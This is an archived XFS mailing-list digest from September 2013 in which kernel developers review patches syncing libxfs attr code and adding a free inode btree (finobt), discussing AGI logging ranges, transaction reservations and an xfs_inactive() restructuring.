Thu, 5 Sep 2013 10:59:42 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 73A2A8F8039; Thu, 5 Sep 2013 08:59:42 -0700 (PDT) Message-ID: <5228AA6D.5030108@sgi.com> Date: Thu, 05 Sep 2013 10:59:41 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 09/55] libxfs: sync attr code with kernel References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-10-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-10-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner > --- This patch has not changed since the previous posting. This patch starts the sync with the 3.12 kernel patch series. When I reviewed these patches, I applied the kernel patch and compared the files that changed with the user patch. I will do spot checks as I go through this series again. My review on the original post was: syncs the code in libxfs/xfs_attr.c and libxfs/xfs_attr_leaf.c to kernel files with exception of the part in xfs_attr_shortform_to_leaf() that gets updated by patch 14/49. Reviewed-by: Mark Tinguely From bfoster@redhat.com Thu Sep 5 11:20:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 04A017F3F for ; Thu, 5 Sep 2013 11:20:49 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id CAA2630408B for ; Thu, 5 Sep 2013 09:20:45 -0700 (PDT) X-ASG-Debug-ID: 1378398043-04bdf02f20da9260001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id mE7qeJk0S5kiZqr0 for ; Thu, 05 Sep 2013 09:20:44 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r85GKgHY013860 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 5 Sep 2013 12:20:42 -0400 Received: from laptop.bfoster (vpn-59-119.rdu2.redhat.com [10.10.59.119]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r85GKepS016200 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 5 Sep 2013 12:20:41 -0400 Message-ID: <5228AE80.5050908@redhat.com> Date: Thu, 05 Sep 2013 12:17:04 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [RFC PATCH 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-4-git-send-email-bfoster@redhat.com> <20130905005428.GQ23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type In-Reply-To: <20130905005428.GQ23571@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378398044 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/04/2013 08:54 PM, Dave Chinner wrote: > On Tue, Sep 03, 2013 at 02:25:00PM -0400, Brian Foster wrote: >> Define the AGI fields for the finobt root/level and add magic >> numbers. Update the btree code to add support for the new >> XFS_BTNUM_FINOBT inode btree. >> >> The finobt root block is reserved immediately following the inobt >> root block in the AG. Update XFS_PREALLOC_BLOCKS() to determine the >> starting AG data block based on whether finobt support is enabled. > > A few minor things... > >> >> Signed-off-by: Brian Foster >> --- >> fs/xfs/xfs_ag.h | 7 ++++++- >> fs/xfs/xfs_btree.c | 6 ++++-- >> fs/xfs/xfs_btree.h | 3 +++ >> fs/xfs/xfs_ialloc.c | 2 ++ >> fs/xfs/xfs_ialloc_btree.c | 29 +++++++++++++++++++++++------ >> fs/xfs/xfs_ialloc_btree.h | 14 +++++++++++++- >> fs/xfs/xfs_log_recover.c | 2 ++ >> fs/xfs/xfs_stats.h | 18 +++++++++++++++++- >> fs/xfs/xfs_types.h | 2 +- >> 9 files changed, 71 insertions(+), 12 deletions(-) >> >> diff --git a/fs/xfs/xfs_ag.h b/fs/xfs/xfs_ag.h >> index 1cb740a..b85585d 100644 >> --- a/fs/xfs/xfs_ag.h >> +++ b/fs/xfs/xfs_ag.h >> @@ -166,6 +166,9 @@ typedef struct xfs_agi { >> __be32 agi_pad32; >> __be64 agi_lsn; /* last write sequence */ >> >> + __be32 agi_free_root; /* root of the free inode btree */ >> + __be32 agi_free_level;/* levels in free inode btree */ >> + >> /* structure must be padded to 64 bit alignment */ >> } xfs_agi_t; > > That's fine, but... >> >> @@ -180,7 +183,9 @@ typedef struct xfs_agi { >> #define XFS_AGI_NEWINO 0x00000100 >> #define XFS_AGI_DIRINO 0x00000200 >> #define XFS_AGI_UNLINKED 0x00000400 >> -#define XFS_AGI_NUM_BITS 11 >> +#define XFS_AGI_FREE_ROOT 0x00000800 >> +#define XFS_AGI_FREE_LEVEL 0x00001000 >> +#define XFS_AGI_NUM_BITS 13 >> #define XFS_AGI_ALL_BITS ((1 << XFS_AGI_NUM_BITS) - 1) > > This is a bit of a problem, because the range logging bits will now > cause the entire AGI to be logged (including all the unlinked list > hash) because these only define the first/last offsets to be > logged... > Ok, I see what you mean here... >> diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c >> index 524aa88..5ced506 100644 >> --- a/fs/xfs/xfs_ialloc.c >> +++ b/fs/xfs/xfs_ialloc.c >> @@ -1505,6 +1505,8 @@ xfs_ialloc_log_agi( >> offsetof(xfs_agi_t, agi_newino), >> offsetof(xfs_agi_t, agi_dirino), >> offsetof(xfs_agi_t, agi_unlinked), >> + offsetof(xfs_agi_t, agi_free_root), >> + offsetof(xfs_agi_t, agi_free_level), >> sizeof(xfs_agi_t) >> }; > > Because of how this table works. > > What we really need here is for xfs_ialloc_log_agi to consider that > there are two distinct regions for range logging - the first spaces > from offset 0 to offset of agi_unlinked, and the second is from the > the offset of agi_free_root to the end of the xfs_agi_t.... > > It's abit messy, I know, but we couldn't easily add new padding to > the AGI in the existing range logging area like was done for the AGF > because of the unlinked list hash table already defining the end of > the range logging region.... > ... but where would that ever happen? The existing invocations of xfs_ialloc_log_agi() seem to log either the agi inode count values or the btree root/level values (i.e., never the range across both). I think I've introduced at least a couple new invocations throughout this set, but I've not changed that model (i.e., an XFS_AGI_FREECOUNT instance in the new lookup code and an XFS_AGI_FREE_ROOT|*_LEVEL instance in the new btree code). My understanding of this code is that the range to log is defined at invocation time to xfs_iallog_log_agi(), so if the callers never specify a range that includes the unlinked bits in a single call, we won't set that range in the buffer log item code. In other words, even if we ultimately happen to log both ranges in the agi, the lower level code will never expand the logged region. Therefore, this shouldn't happen unless a single invocation that specifies one of the XFS_AGI_FREE_ROOT/LEVEL bits also specifies one of the existing agi bits. I could see breaking this up as a matter of preparation for future fields or calls that would introduce logging that kind of range, but at the same time (and assuming my interpretation of above is correct), that's a bit of code that serves no purpose for the foreseeable future. Perhaps a comment in xfs_ialloc_log_agi() and the one caller that uses the AGI_FREE_* bits to document this restriction is sufficient? >> #ifdef DEBUG >> diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c >> index 0cdb88b..7923292 100644 >> --- a/fs/xfs/xfs_ialloc_btree.c >> +++ b/fs/xfs/xfs_ialloc_btree.c >> @@ -62,10 +62,18 @@ xfs_inobt_set_root( >> { >> struct xfs_buf *agbp = cur->bc_private.a.agbp; >> struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); >> - >> - agi->agi_root = nptr->s; >> - be32_add_cpu(&agi->agi_level, inc); >> - xfs_ialloc_log_agi(cur->bc_tp, agbp, XFS_AGI_ROOT | XFS_AGI_LEVEL); >> + int fields; >> + >> + if (cur->bc_btnum == XFS_BTNUM_INO) { >> + agi->agi_root = nptr->s; >> + be32_add_cpu(&agi->agi_level, inc); >> + fields = XFS_AGI_ROOT | XFS_AGI_LEVEL; >> + } else { >> + agi->agi_free_root = nptr->s; >> + be32_add_cpu(&agi->agi_free_level, inc); >> + fields = XFS_AGI_FREE_ROOT | XFS_AGI_FREE_LEVEL; >> + } >> + xfs_ialloc_log_agi(cur->bc_tp, agbp, fields); >> } > > I suspect that it would be better to have separate functions for > these differences i.e. xfs_inobt_set_root() and > xfs_finobt_set_root(), and set up separate btree ops structure > forthe two different trees. Most of the code is still identical, > but the differences in root structures can easily be handled without > putting switches in the code everywhere. > Ok, I'm assuming the suggestion is to only create new functions for the implementations that differ. >> >> STATIC int >> @@ -172,7 +180,10 @@ xfs_inobt_init_ptr_from_cur( >> >> ASSERT(cur->bc_private.a.agno == be32_to_cpu(agi->agi_seqno)); >> >> - ptr->s = agi->agi_root; >> + if (cur->bc_btnum == XFS_BTNUM_INO) >> + ptr->s = agi->agi_root; >> + else >> + ptr->s = agi->agi_free_root; >> } > > Like this... > >> >> STATIC __int64_t >> @@ -205,6 +216,7 @@ xfs_inobt_verify( >> */ >> switch (block->bb_magic) { >> case cpu_to_be32(XFS_IBT_CRC_MAGIC): >> + case cpu_to_be32(XFS_FIBT_CRC_MAGIC): >> if (!xfs_sb_version_hascrc(&mp->m_sb)) >> return false; >> if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) >> @@ -216,6 +228,7 @@ xfs_inobt_verify( >> return false; >> /* fall through */ >> case cpu_to_be32(XFS_IBT_MAGIC): >> + case cpu_to_be32(XFS_FIBT_MAGIC): >> break; >> default: >> return 0; >> @@ -335,8 +348,12 @@ xfs_inobt_init_cursor( >> >> cur->bc_tp = tp; >> cur->bc_mp = mp; >> - cur->bc_nlevels = be32_to_cpu(agi->agi_level); >> cur->bc_btnum = btnum; >> + if (btnum == XFS_BTNUM_INO) >> + cur->bc_nlevels = be32_to_cpu(agi->agi_level); >> + else >> + cur->bc_nlevels = be32_to_cpu(agi->agi_free_level); >> + >> cur->bc_blocklog = mp->m_sb.sb_blocklog; >> >> cur->bc_ops = &xfs_inobt_ops; > > And this is where you do the check on the btnum and set the > appropriate ops structure.... > Ok. >> #define XFS_INODES_PER_CHUNK (NBBY * sizeof(xfs_inofree_t)) >> @@ -73,7 +75,17 @@ typedef __be32 xfs_inobt_ptr_t; >> * block numbers in the AG. >> */ >> #define XFS_IBT_BLOCK(mp) ((xfs_agblock_t)(XFS_CNT_BLOCK(mp) + 1)) >> -#define XFS_PREALLOC_BLOCKS(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) >> +#define XFS_FIBT_BLOCK(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) >> + >> +/* >> + * The first data block of an AG depends on whether the filesystem was formatted >> + * with the finobt feature. If so, account for the finobt reserved root btree >> + * block. >> + */ >> +#define XFS_PREALLOC_BLOCKS(mp) \ >> + (xfs_sb_version_hasfinobt(&((mp)->m_sb)) ? \ >> + XFS_FIBT_BLOCK(mp) + 1 : \ >> + XFS_IBT_BLOCK(mp) + 1) > > Yup, that looks sensible, with a nice comment to explain it :) > >> diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h >> index c03ad38..c8f238b 100644 >> --- a/fs/xfs/xfs_stats.h >> +++ b/fs/xfs/xfs_stats.h >> @@ -183,7 +183,23 @@ struct xfsstats { >> __uint32_t xs_ibt_2_alloc; >> __uint32_t xs_ibt_2_free; >> __uint32_t xs_ibt_2_moves; >> -#define XFSSTAT_END_XQMSTAT (XFSSTAT_END_IBT_V2+6) >> +#define XFSSTAT_END_FIBT_V2 (XFSSTAT_END_IBT_V2+15) >> + __uint32_t xs_fibt_2_lookup; >> + __uint32_t xs_fibt_2_compare; >> + __uint32_t xs_fibt_2_insrec; >> + __uint32_t xs_fibt_2_delrec; >> + __uint32_t xs_fibt_2_newroot; >> + __uint32_t xs_fibt_2_killroot; >> + __uint32_t xs_fibt_2_increment; >> + __uint32_t xs_fibt_2_decrement; >> + __uint32_t xs_fibt_2_lshift; >> + __uint32_t xs_fibt_2_rshift; >> + __uint32_t xs_fibt_2_split; >> + __uint32_t xs_fibt_2_join; >> + __uint32_t xs_fibt_2_alloc; >> + __uint32_t xs_fibt_2_free; >> + __uint32_t xs_fibt_2_moves; >> +#define XFSSTAT_END_XQMSTAT (XFSSTAT_END_FIBT_V2+6) >> __uint32_t xs_qm_dqreclaims; >> __uint32_t xs_qm_dqreclaim_misses; >> __uint32_t xs_qm_dquot_dups; > > I didn't see an equivalent change to add these new stats to the proc > file output (ie. in xfs_stat_proc_show()). maybe I just missed it, > but if I didn't, can you add it? > Yeah, that's missing. Good catch. I think I added these bits on some kind of compilation failure or warning and I hadn't gone back to check that they were used anywhere. :P Brian > Cheers, > > Dave. > From bfoster@redhat.com Thu Sep 5 11:21:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B3D6B7F52 for ; Thu, 5 Sep 2013 11:21:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A27F38F804C for ; Thu, 5 Sep 2013 09:21:02 -0700 (PDT) X-ASG-Debug-ID: 1378398061-04cbb02c3cd6f080001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id agV6Npi1qrlHCQZJ for ; Thu, 05 Sep 2013 09:21:02 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r85GL0Yl014739 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 5 Sep 2013 12:21:00 -0400 Received: from laptop.bfoster (vpn-59-119.rdu2.redhat.com [10.10.59.119]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r85GKxl4011100 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 5 Sep 2013 12:21:00 -0400 Message-ID: <5228AE93.2050001@redhat.com> Date: Thu, 05 Sep 2013 12:17:23 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [RFC PATCH 04/11] xfs: update inode allocation transaction reservations for finobt References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-5-git-send-email-bfoster@redhat.com> <20130905005946.GR23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 04/11] xfs: update inode allocation transaction reservations for finobt In-Reply-To: <20130905005946.GR23571@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378398061 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/04/2013 08:59 PM, Dave Chinner wrote: > On Tue, Sep 03, 2013 at 02:25:01PM -0400, Brian Foster wrote: >> Update inode allocation transaction reservations for the finobt. A >> create via record modification requires a log reservation for the >> additional finobt record. Any such allocation could result in an >> finobt removal if the inode chunk has become fully allocated, thus >> we include a reservation for a finobt btree merge as well. >> Allocation of a new inode chunk must account for splits in the >> finobt as well as the existing ialloc tree. > > These transaction reservation changes are only necessary for > filesystems with free inode btrees, otherwise they just use more log > space than is necessary. > Yeah, good point. > Can you add helper functions for the free inode btree reservations, > and have them return 0 when the feature is not enabled? That way the > code stays pretty clean, is self documenting and doesn't take > unnecessary space when the feature is not enabled.... > So not new functions that duplicate the entire calculations for the finobt enabled cases, but new functions that define the additional requirements for the finobt on top of the existing reservation calculations for particular operations (i.e., similar to the recent patch to fix the inode log size, if I recall). Sounds good. Brian >> Also update XFS_IALLOC_SPACE_RES() to reserve data blocks for >> finobt split/merge scenarios. > > Needs to handle the enabled/disabled case, too. > > Cheers, > > Dave. > From bfoster@redhat.com Thu Sep 5 11:21:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BF5417F51 for ; Thu, 5 Sep 2013 11:21:42 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id AA2138F804C for ; Thu, 5 Sep 2013 09:21:42 -0700 (PDT) X-ASG-Debug-ID: 1378398101-04cb6c2e9dd7bf50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XEnBZhEoSQm7EVhH for ; Thu, 05 Sep 2013 09:21:41 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r85GLerr018341 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 5 Sep 2013 12:21:40 -0400 Received: from laptop.bfoster (vpn-59-119.rdu2.redhat.com [10.10.59.119]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r85GLdOW020191 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 5 Sep 2013 12:21:39 -0400 Message-ID: <5228AEBB.9040402@redhat.com> Date: Thu, 05 Sep 2013 12:18:03 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [RFC PATCH 06/11] xfs: use correct transaction reservations in xfs_inactive() References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-7-git-send-email-bfoster@redhat.com> <20130905013519.GT23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 06/11] xfs: use correct transaction reservations in xfs_inactive() In-Reply-To: <20130905013519.GT23571@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378398101 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/04/2013 09:35 PM, Dave Chinner wrote: > On Tue, Sep 03, 2013 at 02:25:03PM -0400, Brian Foster wrote: >> The transaction allocated in xfs_inactive() can be passed down into >> xfs_inactive_symlink() or xfs_itruncate_extents(), both of which >> can commit and reallocate a new transaction. This leads to >> reservation issues if the transaction is subsequently passed into >> xfs_ifree(), which requires a larger reservation to manage the >> finobt. >> >> Reorganize xfs_inactive() to commit any transaction handed back >> from symlink or truncate processing and unconditionally allocate >> a new transaction for xfs_ifree() with the appropriate reservation. > > Ok, I've had a bit of a look at this now, and I like how the code > turns out. However, I don't think it goes far enough, or fix the > problem that causes all the transaction nastiness in xfs_inactive(). > > Firstly, we are not doing rolling transactions here - there is no > need for all the changes to be atomic because the inode is on the > unlinked list if it is going to be freed. Hence we don't need to > pass transaction pointers around. > I was wondering about this when I was passing through the code. If I recall, I ended up just trying to work around the lower level calls as opposed to messing with them because xfs_truncate_extents() had other callers (but the discussion below addresses that). > xfs_inactive_symlink() can do a transaction completely internally, > and, well, it doesn't even log the inode if the symlink is in-line > and so may not even need a transaction. Hence really only > xfs_inactive_symlink_rmt() needs to run a transaction, and it can do > that internally just fine. > Ok. > For the xfs_itruncate_extents() data fork transaction, just add a > new wrapper called xfs_inactive_truncate() that holds the > transaction context internally - that moves the only other > transaction context that you need to commit out of xfs_inactive() > altogether, as the attr fork already uses a private transaction > context. > Sounds good. > And, finally, you can then factor the xfs_ifree() and it's > transaction context into a helper function as well, so there aren't > any transaction contexts left in xfs_inactive() at all. > > That would leave us with: > > if (ISLNK) { > error = xfs_inactive_symlink(ip); > } else if (truncate) > error = xfs_inactive_truncate(ip); > } > if (error) > goto out; > if (ip->i_d.di_anextents > 0) > error = xfs_attr_inactive(ip); > if (error) > goto out; > > error = xfs_inactive_ifree(ip); > > xfs_qm_dqdetach(ip); > out: > return; > > This gives us a natural separation of the different transaction > reservations and contexts needed to perform the operations, and does > result in any extraneous work being done because we don't know what > the transaction context passed to us contains at all... > Yeah, I agree. That cleans things up nicely. > FWIW, there are other reasons for suggesting this structure - have a > read of "[RFD 14/17] xfs: separate inode freeing from inactivation" > and you'll see that what I've suggested above sets the code up for > implementing the optimisations documented in the RFD. > > http://oss.sgi.com/archives/xfs/2013-08/msg00345.html > > It might be best to put this as 3-4 patches at the start of the > series, rather than in the middle of it as it's really a separate > piece of cleanup work.... > Ok, I've skimmed through most of the writeups in that set. If it turns into a handful of patches, I might just test and post this as an independent, prerequisite set for personal ease of management reasons if nothing else. I'm more confident in the changes with the review feedback and that I obviously now know what the finobt requirements are. Thanks. Brian > Cheers, > > Dave. > From bfoster@redhat.com Thu Sep 5 11:22:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 36ECA7F4E for ; Thu, 5 Sep 2013 11:22:11 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EB30130408B for ; Thu, 5 Sep 2013 09:22:10 -0700 (PDT) X-ASG-Debug-ID: 1378398129-04bdf02f21da9360001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id m7tI5cWxr0R9AwjF for ; Thu, 05 Sep 2013 09:22:09 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r85GM8BA018502 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 5 Sep 2013 12:22:08 -0400 Received: from laptop.bfoster (vpn-59-119.rdu2.redhat.com [10.10.59.119]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r85GM7aX012232 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 5 Sep 2013 12:22:07 -0400 Message-ID: <5228AED7.1010700@redhat.com> Date: Thu, 05 Sep 2013 12:18:31 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [RFC PATCH 07/11] xfs: retry trans reservation on ENOSPC in xfs_inactive() References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-8-git-send-email-bfoster@redhat.com> <20130905014016.GU23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 07/11] xfs: retry trans reservation on ENOSPC in xfs_inactive() In-Reply-To: <20130905014016.GU23571@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378398129 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/04/2013 09:40 PM, Dave Chinner wrote: > On Tue, Sep 03, 2013 at 02:25:04PM -0400, Brian Foster wrote: >> An ifree data block reservation can fail with ENOSPC. Flush inodes >> to try and free up space or attempt without a data block >> reservation to avoid failing out of xfs_inactive(). >> >> Signed-off-by: Brian Foster >> --- >> fs/xfs/xfs_inode.c | 11 +++++++++++ >> 1 file changed, 11 insertions(+) >> >> diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c >> index 56cbf63..92de4b7 100644 >> --- a/fs/xfs/xfs_inode.c >> +++ b/fs/xfs/xfs_inode.c >> @@ -1779,7 +1779,18 @@ xfs_inactive( >> tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); >> error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, >> XFS_IFREE_SPACE_RES(mp), 0); >> + if (error == ENOSPC) { >> + /* flush outstanding delalloc blocks and retry */ >> + xfs_flush_inodes(mp); >> + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, >> + XFS_IFREE_SPACE_RES(mp), 0); >> + } > > We don't want to be blocking for inode flushes here. We might be in > a shrinker context, for example, and blocking those for a filesystem > sync is going to be unfriendly. > Ok. > If this really is a problem, then the right thing to do is to allow > this transaction to dip into the reserve block pool so the > transaction can complete and make progress - other write operations > will trigger the flushing of the filesystem, and freeing of whole > inode chunks should return more free space than we need for the > finobt modifications in the removing lots of zero length inodes > at ENOSPC case.... > I did have one of the enospc xfstests lead to this situation, though I don't have the particular test in my notes. It initially manifested as an assert failure due to the fs not being shutdown after an xfs_trans_reserve() ENOSPC failure. Subsequent to avoiding that, I believe there were inconsistent fs issues called out due to the unlinked lists being populated after umount. Taking a further look, I missed the XFS_TRANS_RESERVE flag and whole m_resblks mechanism. I'll take a closer look at that and see if that works to resolve the problem instead of the flush. Brian > Cheers, > > Dave. > From bfoster@redhat.com Thu Sep 5 11:22:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9AA047F5D for ; Thu, 5 Sep 2013 11:22:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 776F08F8040 for ; Thu, 5 Sep 2013 09:22:26 -0700 (PDT) X-ASG-Debug-ID: 1378398145-04cbb02c3ed6f180001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id vTaxlH9SIQMYsvDp for ; Thu, 05 Sep 2013 09:22:25 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r85GMOYX018567 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 5 Sep 2013 12:22:24 -0400 Received: from laptop.bfoster (vpn-59-119.rdu2.redhat.com [10.10.59.119]) by int-mx02.intmail.prod.int.phx2.redhat.com 